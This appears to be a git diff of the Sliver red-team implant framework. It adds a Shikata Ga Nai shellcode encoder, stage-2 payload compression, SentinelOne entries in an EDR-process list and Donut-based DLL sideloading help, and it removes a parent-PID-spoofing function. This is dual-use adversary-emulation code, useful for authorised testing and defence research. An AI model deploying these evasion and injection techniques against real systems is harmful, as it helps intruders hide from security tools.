||||
@@ -365,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
|
||||
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
|
||||
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
|
||||
sideload -p /bin/bash /tmp/mylib.so
|
||||
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
|
||||
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
|
||||
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
|
||||
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
|
||||
|
||||
[[.Bold]]Remarks:[[.Normal]]
|
||||
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
|
||||
|
||||
@@ -19,9 +19,12 @@ package jobs
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"context"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -36,6 +39,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
compress := strings.ToLower(ctx.Flags.String("compress"))
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -75,7 +79,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES IV\n")
|
||||
con.PrintErrorf("Incorrect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -88,7 +92,26 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
switch compress {
|
||||
case "zlib":
|
||||
// use zlib to compress the stage2
|
||||
var compBuff bytes.Buffer
|
||||
zlibWriter := zlib.NewWriter(&compBuff)
|
||||
zlibWriter.Write(stage2)
|
||||
zlibWriter.Close()
|
||||
stage2 = compBuff.Bytes()
|
||||
case "gzip":
|
||||
stage2 = util.GzipBuf(stage2)
|
||||
case "deflate9":
|
||||
fallthrough
|
||||
case "deflate":
|
||||
stage2 = util.DeflateBuf(stage2)
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
|
||||
// but it's also useful here as more advanced cipher modes are often difficult to implement in
|
||||
// a stager.
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
|
||||
@@ -37,15 +37,21 @@ var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
|
||||
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
package sgn
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
|
||||
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
shellcodeFile := ctx.Args.String("shellcode")
|
||||
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
arch := ctx.Flags.String("arch")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
rawBadChars := ctx.Flags.String("bad-chars")
|
||||
badChars, err := hex.DecodeString(rawBadChars)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode bad chars: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
|
||||
|
||||
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iterations),
|
||||
BadChars: badChars,
|
||||
Data: rawShellcode,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
outputFile := ctx.Flags.String("save")
|
||||
if outputFile == "" {
|
||||
outputFile = filepath.Base(shellcodeFile)
|
||||
outputFile += ".sgn"
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
|
||||
}
|
||||
@@ -236,6 +236,8 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Ege Balcı
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, b4rtik
|
||||
|
||||
+28
-2
@@ -20,12 +20,12 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.4"
|
||||
GO_VER="1.18.5"
|
||||
GARBLE_VER="1.18.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
|
||||
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
+3
-1
@@ -4,6 +4,7 @@ go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -14,7 +15,7 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/protobuf v1.26.0
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
@@ -33,6 +34,7 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.4.2 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
|
||||
golang.org/x/tools v0.1.7 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
+6
-2
@@ -71,6 +71,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -779,8 +781,8 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f h1:rlezHXNlxYWvBCzNses9Dlc7nGFaNMJeqLolcmQSSZY=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
@@ -793,6 +795,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
|
||||
@@ -7,7 +7,7 @@ cd scripts
|
||||
|
||||
# copy Go module related files
|
||||
pwd="$(pwd)"
|
||||
tempDir="$(mktemp -d -p $pwd)"
|
||||
tempDir="$(mktemp -d)"
|
||||
cp ../go-mod "${tempDir}/go.mod"
|
||||
cp ../go-sum "${tempDir}/go.sum"
|
||||
mv ../vendor "${tempDir}/vendor"
|
||||
@@ -20,8 +20,8 @@ go mod tidy -compat=1.17
|
||||
go mod vendor
|
||||
|
||||
# move updated files back
|
||||
mv "${tempDir}/vendor" ../../vendor
|
||||
mv "${tempDir}/go.mod" ../../go-mod
|
||||
mv "${tempDir}/go.sum" ../../go-sum
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
@@ -19,7 +19,6 @@ package evasion
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -27,90 +26,9 @@ import (
|
||||
//{{end}}
|
||||
"debug/pe"
|
||||
"io/ioutil"
|
||||
"os/exec"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
|
||||
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("OpenProcess failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
var procThreadAttributeSize uintptr
|
||||
if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("GetProcessHeap failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("HeapAlloc failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
defer syscalls.HeapFree(procHeap, 0, attributeList)
|
||||
var startupInfo syscalls.StartupInfoEx
|
||||
startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
|
||||
if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
|
||||
uintParentHandle := uintptr(parentHandle)
|
||||
if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// get program path as a UTF string
|
||||
programPath, err := exec.LookPath(prog)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("LookPath failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
utfProgramPath, err := windows.UTF16PtrFromString(programPath)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("UTF16PtrFromString failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// start a process of the specified program name, spoofing the parent
|
||||
var procInfo windows.ProcessInformation
|
||||
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
|
||||
startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
|
||||
startupInfo.ShowWindow = windows.SW_HIDE
|
||||
// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
|
||||
creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
|
||||
if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("CreateProcess failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
return &procInfo, nil
|
||||
}
|
||||
|
||||
// RefreshPE reloads a DLL from disk into the current process
|
||||
// in an attempt to erase AV or EDR hooks placed at runtime.
|
||||
func RefreshPE(name string) error {
|
||||
|
||||
@@ -21,6 +21,7 @@ package extension
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -36,6 +37,7 @@ type DarwinExtension struct {
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
@@ -64,6 +66,8 @@ func (d *DarwinExtension) GetArch() string {
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -98,6 +102,8 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -21,6 +21,7 @@ package extension
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
@@ -43,6 +44,7 @@ type WindowsExtension struct {
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
// NewWindowsExtension - Load a new windows extension
|
||||
@@ -71,6 +73,8 @@ func (w *WindowsExtension) Load() error {
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.Lock()
|
||||
defer w.Unlock()
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -114,6 +118,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
// The extension API must respect the following prototype:
|
||||
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
|
||||
// where goCallback = int(char *, int)
|
||||
w.Lock()
|
||||
defer w.Unlock()
|
||||
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
|
||||
if errNo != 0 {
|
||||
return errors.New(errNo.Error())
|
||||
|
||||
@@ -36,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -48,24 +49,25 @@ var (
|
||||
windowsHandlers = map[uint32]RPCHandler{
|
||||
|
||||
// Windows Only
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
